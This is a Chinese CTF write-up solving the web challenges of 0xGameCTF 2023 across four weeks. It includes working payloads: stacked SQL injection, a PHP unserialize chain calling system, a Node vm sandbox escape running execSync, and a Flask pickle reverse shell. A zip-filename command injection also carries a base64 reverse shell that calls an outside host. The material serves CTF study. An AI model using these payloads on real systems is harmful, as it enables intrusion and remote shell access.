[0xGameCTF 2023] web题解

这篇具有很好参考价值的文章主要介绍了[0xGameCTF 2023] web题解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


[Week 1]

signin

打开题目,查看下js代码
在main.js里找到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

baby_php

 <?php
// flag in flag.php
highlight_file(__FILE__);

if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    $c = $_POST['c'];
    $name = $_COOKIE['name'];

    if ($a != $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {
            include($name.'.php');
        }
    }
}
?> 

简单分析一下,参数a和b值不相等但MD5相等;参数c不为数字,不等于1024,且转换为整数时等于1024;参数name为伪协议

得到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

hello_http

就是一些基本的http请求知识
按照要求来,得到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

repo_leak

打开题目,提示git泄露
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring使用工具
先运行工具GitHack,再访问./.git/
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring但是这里提取不到,要用到另外一个工具git_extract(python2环境,我这里两个版本都下了)
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring然后在posts文件夹找到,得到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

ping

打开题目,发现是ping命令
查看页面源码,发现存在前端检测(所以命令执行要bp抓包)和告诉我们hint
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring访问一下,得到源码

 <?php

function sanitize($s) {
    $s = str_replace(';', '', $s);
    $s = str_replace(' ', '', $s);
    $s = str_replace('/', '', $s);
    $s = str_replace('flag', '', $s);
    return $s;
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

if (!isset($_POST['ip'])) {
    die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip);

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
    die('Invalid IP Address');
}

system('ping -c 4 '.$ip. ' 2>&1');

?> 

分析一下,过滤了分号,空格,斜杠,flag。分号我们用%0a代替;空格用%09代替;斜杠利用`cd …;cd…;cd…代替;flag直接反斜杠绕过

bp抓包,添加命令得到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

[Week 2]

ez_sqli

源码

from flask import Flask, render_template, request
import MySQLdb
import re

blacklist = ['select', 'update', 'insert', 'delete', 'database', 'table', 'column', 'alter', 'create', 'drop', 'and', 'or', 'xor', 'if', 'else', 'then', 'where']

conn = MySQLdb.connect(host='db', port=3306, user='root', passwd='root', db='ctf')

app = Flask(__name__)

@app.route('/')
def index():
    field = request.args.get('order', 'id')
    field = re.sub(r'\s+', '', field)

    for s in blacklist:
        if s.lower() in field.lower():
            return s + ' are banned'

    if not re.match(r"id|name|email", field):
        field = 'id'

    with conn.cursor() as cursor:
        cursor.execute('SELECT * FROM userinfo order by %s' % field)
        res = cursor.fetchall()

    return render_template('index.html', res=res)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

分析一下

  1. 首先是过滤了很多查询用的关键字
  2. 然后是禁用了空格,大小写绕过
  3. 上传参数值匹配id|name|email
  4. 最后就是查询语句cursor.execute('SELECT * FROM userinfo order by %s' % field)

这里的cursor.execute()是可以执行多条语句,我们可以使用堆叠注入;然后hint提示我们考点为预处理语句

set @id=1;
prepare stmt from 'SELECT * FROM users WHERE id=?';
execute stmt using @id;

由于这里没有禁用报错注入的函数,我们用updatexml去回显
payload

id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),1,31)),0x7e),3);prepare ctf from @a;execute ctf;

方法一(十六进制绕过)

id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C312C333129292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;

[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring然后查后面那一段

id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),32,99)),0x7e),3);prepare ctf from @a;execute ctf;

十六进制绕过

id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C33322C393929292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;

得到后面一段flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

方法二(字符串拼接)

payload相同

id;set/**/@a=concat("sel","ect/**/updat","exml(1,concat(0x7e,(sel","ect/**/substr((sel","ect/**/flag/**/from/**/flag),1,31)),0x7e),3)");prepare/**/ctf/**/from/**/@a;execute/**/ctf;

也能得到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

ez_upload

给了题目附件,我们主要看下upload源码

<?php
error_reporting(0);
session_start();

$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';

if (!file_exists($user_dir)) {
    mkdir($user_dir);
}

switch ($_FILES['file']['type']) {
    case "image/gif":
        $source = imagecreatefromgif($_FILES['file']['tmp_name']);
        break;
    case "image/jpeg":
        $source = imagecreatefromjpeg($_FILES['file']['tmp_name']);
        break;
    case "image/png":
        $source = imagecreatefrompng($_FILES['file']['tmp_name']);
        break;
    default:
        die('Invalid file type!');
}

$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;

switch ($_FILES['file']['type']) {
    case "image/gif":
        imagegif($source, $filepath);
        break;
    case "image/jpeg":
        imagejpeg($source, $filepath);
        break;
    case "image/png":
        imagepng($source, $filepath);
        break;
    default:
        die('Invalid file type!');
}

echo 'Upload avatar success! Path: '.$filepath;

$_SESSION['avatar'] = $filepath;
?>

简单分析一下,首先会检测MIME类型是否正确,然后经过二次渲染上传到指定路径
我们这里用的是gif,我们先上传一下
然后打开010观察上传后的图片和之前对比哪里是不变的
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring然后在不会被二次渲染改变的地方添加一句话木马
(这里我最初上传的gif带一句话木马刚好没被改,就不用再添加一句话木马了)
上传图片,然后bp抓包修改文件后缀为php
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring
访问,命令执行得到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

ez_unserialize

源码

<?php

show_source(__FILE__);

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup() {
        $this->expired = False;
    }

    public function expired() {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();
    }
    
    public function __set($name, $value) {
        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;
    }

    public function __call($name, $args) {
        $this->funcs[$name](...$args);
    }
}

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}

if (isset($_GET['u'])) {
    unserialize($_GET['u']);
}
?> 

题目给了提示,pop链子直接给出来

DataObject.__destruct() -> Storage.__set() -> Cache.expired() -> Helper.__call()

我们分段分析下首先是 DataObject类

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;
        }
    }
}

遍历 data 的内容, 将 key 和 value 赋值给 storage, 触发 Storage 的 __set ⽅法

Storage类

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();
    }
    
    public function __set($name, $value) {
        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

如果 store 为空则初始化⼀个空的 array, 然后调⽤$value的 expired ⽅法, 如果返回 False, 则会将 $value放⼊$store

然后看Cache类

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;

        $this->expired = False;
    }

    public function __wakeup() {
        $this->expired = False;
    }

    public function expired() {
        if ($this->expired) {
            $this->helper->clean($this->key);
            return True;
        } else {
            return False;
        }
    }
}

调用expired()方法后,由于__wakeup方法会使得if语句不成立,从而无法继续调用后面的。所以这里要引用绕过,从而继续调用clean()

最后是Help类


class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;
    }

    public function __call($name, $args) {
        $this->funcs[$name](...$args);
    }
}

__call()方法会按照传入的 name 从 funcs 数组中取出对应的函数名, 然后将 args 作为参数, 动态调用这个函数, 这里就是最终的利用点, 也就是可以 getshell 的地方。也就是说clean作为name的值,只需要让键名为clean的值为system即可。

exp

<?php

class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;
}

class Storage {
    public $store;
}

class Helper {
    public $funcs;
}

class DataObject {
    public $storage;
    public $data;
}

$a=new DataObject();
$b=new Storage();
$cache1=new Cache();
$cache2=new Cache();
$d=new Helper();
$a->data=array('key1'=>$cache1,'key2'=>$cache2);
$a->storage=$b;
//store = array('key1'=>$cache1,'key2'=>$cache2)
//所以下面的$cache2->expired就不会被__wakeup所影响,因为指向的是非空数组
$cache1->expired=FALSE;
$b->store = &$cache2->expired;
$cache2->key = 'php -r "phpinfo();"';
$cache2->helper = $d;
$d->funcs = array('clean' => 'system');
echo serialize($a);
?> 

这里flag在环境变量处。我直接在phpinfo找,得到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

ez_sandbox

源码

const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
    secret: crypto.randomBytes(64).toString('hex'),
    resave: false,
    saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

function clone(source) {
    return merge({}, source)
}

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}

function requireLogin(req, res, next) {
    if (!req.session.user) {
        res.redirect('/login')
    } else {
        next()
    }
}

app.use(function(req, res, next) {
    for (let key in Object.prototype) {
        delete Object.prototype[key]
    }
    next()
})

app.get('/', requireLogin, function(req, res) {
    res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
    res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
    res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users && password === users[username]) {
        req.session.user = username

        if (username in admins) {
            req.session.role = 'admin'
        } else {
            req.session.role = 'guest'
        }

        res.send({
            'message': 'login success'
        })
    } else {
        res.send({
            'message': 'login failed'
        })
    }
})

app.post('/register', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users) {
        res.send({
            'message': 'register failed'
        })
    } else {
        users[username] = password
        res.send({
            'message': 'register success'
        })
    }
})

app.get('/profile', requireLogin, function(req, res) {
    res.send({
        'user': req.session.user,
        'role': req.session.role
    })
})

app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

app.get('/logout', requireLogin, function(req, res) {
    req.session.destroy()
    res.redirect('/login')
})

app.listen(3000, function() {
    console.log('server start listening on :3000')
})

可以知道源码有merge函数,可以造成原型链污染。这里过滤了__proto__,那么我们用constructor.prototype绕过;登陆成功条件为username in users

我们先注册⼀个 test 用户, 在登录时 POST 如下内容, 污染 admins 对象, 使得 username in admins 表达式的结果为True

{
    "username": "test",
    "password": "test"
    "constructor": {
        "prototype": {
            "test": "123"
        }
    }
}

先bp抓包发送
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

然后输入test,test登陆成功,并且成功污染
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring然后就是简单的沙箱逃逸

app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})
  • Hint 2: vm 沙箱逃逸 (arguments.callee.caller)

可以注意到这里的let sandbox = Object.create(null),此时this为null,所以得利用arguments.callee.caller

  • Hint 4: 通过 JavaScript 的 Proxy 类或对象的__defineGetter__方法来设置一个 getter
    使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数

同时发现沙箱外没有执行字符串的相关操作,也没有可以用来进行恶意重写的函数,所以需要用Proxy来劫持属性

  • Hint 3: 在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message
    属性 (即 e.message)

同时我们注意到这里执行code后没有返回输出任何值,但是有try-catch语句,所以我们还需要用到异常处理,利用console.log将报错信息和rce的回显一起带出来

虽然对很多关键字过滤,但是可以用JavaScript的特性:中括号 + 字符串拼接的形式绕过
payload

throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截
	get: function(){ // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数
		const c = arguments.callee.caller
		const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
		return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat/flag').toString();
	}
})

或者是

let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){
	const c = arguments.callee.caller
	const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
	return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat/flag').toString();
})
throw obj

[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

[Week 3]

notebook

考点:session伪造,pickle反序列化,反弹shell

这道题是给了源码,如下

from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

class Note(object):
    def __init__(self, name, content):
        self._name = name
        self._content = content

    @property
    def name(self):
        return self._name
    
    @property
    def content(self):
        return self._content


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')
    
    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')
    
    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)


@app.route('/add_note', methods=['POST'])
def add_note():
    note_name = request.form.get('note_name')
    note_content = request.form.get('note_content')

    if note_name == '' or note_content == '':
        return render_template('index.html', status='add_failed', msg='note name or content is empty')
    
    note_id = str(uuid.uuid4())
    note = Note(note_name, note_content)

    if not session.get('notes'):
        session['notes'] = {}
    
    notes = session['notes']
    notes[note_id] = pickle.dumps(note)
    session['notes'] = notes
    return render_template('index.html', status='add_success', note_id=note_id)


@app.route('/delete_note', methods=['POST'])
def delete_note():
    note_id = request.form.get('note_id')
    if not note_id:
        return render_template('index.html')
    
    notes = session.get('notes')
    if not notes:
        return render_template('index.html', status='delete_failed', msg='You have no notes')
    
    if not notes.get(note_id):
        return render_template('index.html', status='delete_failed', msg='This note does not exist')
    
    del notes[note_id]
    session['notes'] = notes
    return render_template('index.html', status='delete_success')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

题目给了提示,我们可以利用SECRET_KEY去session伪造

app.config['SECRET_KEY'] = os.urandom(2).hex()

由于os.urandom(2).hex()只有四位数,我们可以尝试爆破
脚本

import os
with open('dict.txt','w') as f:
	for i in range(1,9999999):
		a=os.urandom(2).hex()
		f.write("\"{}\"\n".format(a))  //加上双引号是方便后面字典使用

然后将字典复制到Flask-Unsign的目录下

我们先随便创建,然后复制cookie[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring用Flask-Unsign工具结合刚刚的字典爆破出key

[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring
然后就是利用路由/<path:note_id>下的pickle反序列化
这里用的是反弹shell,payload如下()

b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'"
tR.
'''

然后就是session伪造,注意note_id值要为对应值
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring刷新页面bp抓包,然后替换如上cookie
成功反弹shell
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

得到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

zip_file_manager

源码

from flask import Flask, request, render_template, redirect, send_file
import hashlib
import os

app = Flask(__name__)

def md5(m):
    return hashlib.md5(m.encode('utf-8')).hexdigest()


@app.route('/unzip', methods=['POST'])
def unzip():
    f = request.files.get('file')
    if not f.filename.endswith('.zip'):
        return redirect('/')

    user_dir = os.path.join('./uploads', md5(request.remote_addr))
    if not os.path.exists(user_dir):
        os.mkdir(user_dir)

    zip_path = os.path.join(user_dir, f.filename)
    dest_path = os.path.join(user_dir, f.filename[:-4])
    f.save(zip_path)

    os.system('unzip -o {} -d {}'.format(zip_path, dest_path))
    return redirect('/')


@app.route('/', defaults={'subpath': ''}, methods=['GET'])
@app.route('/<path:subpath>', methods=['GET'])
def index(subpath):
    user_dir = os.path.join('./uploads', md5(request.remote_addr))
    if not os.path.exists(user_dir):
        os.mkdir(user_dir)

    if '..' in subpath:
        return 'blacklist'

    current_path = os.path.join(user_dir, subpath)

    if os.path.isdir(current_path):
        res = []
        res.append({'type': 'Directory', 'name': '..'})
        for v in os.listdir(current_path):
            if os.path.isfile(os.path.join(current_path, v)):
                res.append({'type': 'File', 'name': v})
            else:
                res.append({'type': 'Directory', 'name': v})
        return render_template('index.html', upload_path=user_dir, res=res)
    else:
        return send_file(current_path)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

分析一下,只能上传zip文件,然后用unzip命令去解压,黑名单是..,也就是不能进行目录穿越

方法一 命令注入

分析源码可知路径是拼接的,但是看向源码中的下面这个句子

os.system('unzip -o {} -d {}'.format(zip_path, dest_path))

不难发现文件名是可控的,那么我们结合命令注入来实现RCE
我们随便上传一个test.zip,然后抓包修改文件名为

test.zip;bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9mNTc4MTk2NzR6LmltZG8uY28vNTQ3ODkgIDA+JjE=}|{base64,-d}|{bash,-i}';1.zip

注:bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1为base64编码绕过

反弹shell成功,得到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

方法二 zip软连接

Linux 存在软链接这⼀功能, ⽽ zip ⽀持压缩软链接, 程序⼜是⽤ unzip 命令进⾏解压缩, 因此会存在这个漏洞 (相⽐之下如果使⽤ Python 的 zipfile 库进⾏解压缩, 就不会存在这个问题)

我们先打开linux,创建软链接指向根目录(/),命名为test

ln -s / test

然后将其打包为一个压缩文件

zip -y test.zip test

[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring然后上传,在./test/test处找到下载,得到flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

GoShop

源码

package main

import (
	"crypto/rand"
	"embed"
	"fmt"
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/google/uuid"
	"html/template"
	"net/http"
	"os"
	"strconv"
)

type User struct {
	Id    string
	Money int64
	Items map[string]int64
}

type Product struct {
	Name  string
	Price int64
}

var users map[string]*User

var products []*Product

//go:embed public
var fs embed.FS

func init() {
	users = make(map[string]*User)
	products = []*Product{
		{Name: "Apple", Price: 10},
		{Name: "Banana", Price: 50},
		{Name: "Orange", Price: 100},
		{Name: "Flag", Price: 999999999},
	}
}

func IndexHandler(c *gin.Context) {
	c.HTML(200, "index.html", gin.H{})
}

func InfoHandler(c *gin.Context) {
	s := sessions.Default(c)

	if s.Get("id") == nil {
		u := uuid.New().String()
		users[u] = &User{Id: u, Money: 100, Items: make(map[string]int64)}
		s.Set("id", u)
		s.Save()
	}

	user := users[s.Get("id").(string)]
	c.JSON(200, gin.H{
		"user": user,
	})
}

func ResetHandler(c *gin.Context) {
	s := sessions.Default(c)
	s.Clear()

	u := uuid.New().String()
	users[u] = &User{Id: u, Money: 100, Items: make(map[string]int64)}
	s.Set("id", u)
	s.Save()

	c.JSON(200, gin.H{
		"message": "Reset success",
	})
}

func BuyHandler(c *gin.Context) {
	s := sessions.Default(c)
	user := users[s.Get("id").(string)]

	data := make(map[string]interface{})
	c.ShouldBindJSON(&data)

	var product *Product

	for _, v := range products {
		if data["name"] == v.Name {
			product = v
			break
		}
	}

	if product == nil {
		c.JSON(200, gin.H{
			"message": "No such product",
		})
		return
	}

	n, _ := strconv.Atoi(data["num"].(string))

	if n < 0 {
		c.JSON(200, gin.H{
			"message": "Product num can't be negative",
		})
		return
	}

	if user.Money >= product.Price*int64(n) {
		user.Money -= product.Price * int64(n)
		user.Items[product.Name] += int64(n)
		c.JSON(200, gin.H{
			"message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
		})
	} else {
		c.JSON(200, gin.H{
			"message": "You don't have enough money",
		})
	}
}

func SellHandler(c *gin.Context) {
	s := sessions.Default(c)
	user := users[s.Get("id").(string)]

	data := make(map[string]interface{})
	c.ShouldBindJSON(&data)

	var product *Product

	for _, v := range products {
		if data["name"] == v.Name {
			product = v
			break
		}
	}

	if product == nil {
		c.JSON(200, gin.H{
			"message": "No such product",
		})
		return
	}

	count := user.Items[data["name"].(string)]
	n, _ := strconv.Atoi(data["num"].(string))

	if n < 0 {
		c.JSON(200, gin.H{
			"message": "Product num can't be negative",
		})
		return
	}

	if count >= int64(n) {
		user.Money += product.Price * int64(n)
		user.Items[product.Name] -= int64(n)
		c.JSON(200, gin.H{
			"message": fmt.Sprintf("Sell %v * %v success", product.Name, n),
		})
	} else {
		c.JSON(200, gin.H{
			"message": "You don't have enough product",
		})
	}
}

func FlagHandler(c *gin.Context) {
	s := sessions.Default(c)
	user := users[s.Get("id").(string)]

	v, ok := user.Items["Flag"]
	if !ok || v <= 0 {
		c.JSON(200, gin.H{
			"message": "You must buy <code>flag</code> first",
		})
		return
	}

	flag, _ := os.ReadFile("/flag")
	c.JSON(200, gin.H{
		"message": fmt.Sprintf("Here is your flag: <code>%s</code>", string(flag)),
	})
}

func main() {
	secret := make([]byte, 16)
	rand.Read(secret)

	tpl, _ := template.ParseFS(fs, "public/index.html")
	store := cookie.NewStore(secret)

	r := gin.Default()
	r.SetHTMLTemplate(tpl)
	r.Use(sessions.Sessions("gosession", store))

	r.GET("/", IndexHandler)

	api := r.Group("/api")
	{
		api.GET("/info", InfoHandler)
		api.POST("/buy", BuyHandler)
		api.POST("/sell", SellHandler)
		api.GET("/flag", FlagHandler)
		api.GET("/reset", ResetHandler)
	}

	r.StaticFileFS("/static/main.js", "public/main.js", http.FS(fs))
	r.StaticFileFS("/static/simple.css", "public/simple.css", http.FS(fs))

	r.Run(":8000")
}

目的非常直接,就是要够钱买flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

由于源码是go语言,我们先要了解下概念

  • Go 语⾔是强类型语⾔, 包含多种数据类型, 以数字类型为例, 存在 uint8 uint16 uint32 uint64 (⽆符号整型) 和 int8
    int16 int32 int64 (有符号整型) 等类型
  • Go 语⾔在编译期会检查源码中定义的变量是否存在溢出, 例如 var i uint8 = 99999 会使得编译不通过, 但是并
    不会检查变量的运算过程中是否存在溢出, 例如 var i uint8 = a * b , 如果程序没有对变量的取值范围做限制,
    那么在部分场景下就可能存在整数溢出漏洞
if user.Money >= product.Price*int64(n) {
		user.Money -= product.Price * int64(n)
		user.Items[product.Name] += int64(n)
		c.JSON(200, gin.H{
			"message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
		})
	} else {
		c.JSON(200, gin.H{
			"message": "You don't have enough money",
		})
	}

然后我们观察到会判断⽤户的 money 时将其转换成了 int64 类型, ⽽ product.Price 本身也是 int64 类型
查阅相关⽂档可以知道 int64 类型的范围是 -9223372036854775808 ~ 9223372036854775807
并且上⾯的 BuyHandler 虽然限制了 n 不能为负数, 但是并没有限制 n 的最⼤值
所以哦我们购买9223372036854775807+1个苹果
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring可以发现钱够了,直接买flag
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

[Week 4]

spring

考点:Spring Boot Actuator 未授权漏洞

打开题目,提示actuator
题目hint
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring
Spring Boot Actuator 未授权是存在敏感信息泄露的漏洞,也就是hint2
我们访问./actuator/env,可以发现flag就藏在密码中
[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring然后就是访问./actuator/heapdump,获得泄露的堆栈信息,比如一些关键的Key,或者数据库连接密码
得到该文件后,利用JDumpSpider工具,得到该密码也就是flag

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

[0xGameCTF 2023] web题解,CTF比赛,前端,web安全,php,java,spring

auth_bypass

考点: Tomcat Filter 绕过、Java 任意⽂件下载搭配 WEB-INF ⽬录的利⽤

先看给的附件
DownloadServlet.java

package com.example.demo;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.FileInputStream;
import java.io.IOException;

public class DownloadServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String currentPath = this.getServletContext().getRealPath("/assets/");
        Object fileNameParameter = req.getParameter("filename");
        if (fileNameParameter != null) {
            String fileName = (String) fileNameParameter;
            resp.setHeader("Content-Disposition","attachment;filename="+fileName);
            try (FileInputStream input = new FileInputStream(currentPath + fileName)) {
                byte[] buffer = new byte[4096];
                while (input.read(buffer) != -1) {
                    resp.getOutputStream().write(buffer);
                }
            }
        } else {
            resp.setContentType("text/html");
            resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>");
        }
    }
}

整个代码的大概逻辑如下

  1. 在doGet()方法中,首先获取当前路径,即ServletContext中名为"/assets/"的真实路径。然后,从请求参数中获取名为"filename"的参数值。
  2. 如果"filename"参数存在,说明客户端请求下载一个文件。
  3. 如果"filename"参数不存在,说明客户端请求的是下载页面本身。这时,将响应的内容类型设置为"text/html",并通过响应的输出流输出一个带有下载链接的HTML页面,链接指向"/download?filename=avatar.jpg",文件名为"avatar.jpg"。

然后再看看AuthFilter.java

package com.example.demo;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

public class AuthFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig)  {
    }

    @Override
    public void destroy() {
    }

    @Override
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;

        if (request.getRequestURI().contains("..")) {
            resp.getWriter().write("blacklist");
            return;
        }

        if (request.getRequestURI().startsWith("/download")) {
            resp.getWriter().write("unauthorized access");
        } else {
            chain.doFilter(req, resp);
        }
    }
}

分析一下,首先对..进行了过滤;接着是如果访问./download路由,返回unauthorized access,也就是说DownloadServlet 很明显存在任意文件下载, 但是 AuthFilter 限制不能访问 /download 路由

根据相关文章可以知道, 直接通过 getRequestURI() 得到的 url 路径存在⼀些问题, 比如不会自动 urldecode, 也
不会进行标准化 (去除多余的 /.. )。由于 ..被过滤了, 所以直接访问 //download 就能绕过, 后面目录穿越下载文件的时候可以将 .. 进行一次 url编码

然后可以通过 //download?filename=avatar.jpg 下载文件, 但是无法读取 /flag (提示 Permission denied),那么很明显需要 RCE

根据题目描述, 网站使用 war 打包,这个 war 其实也就相当于压缩包, Tomcat 在部署 war 的时候会将其解压, 而压缩包内会存在⼀个 WEB-INF 目录,目录里面包含编译好的 .class 文件以及 web.xml (保存路由和类的映射关系)
下载 web.xml

//download?filename=%2e%2e/WEB-INF/web.xml

xml内容如下

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
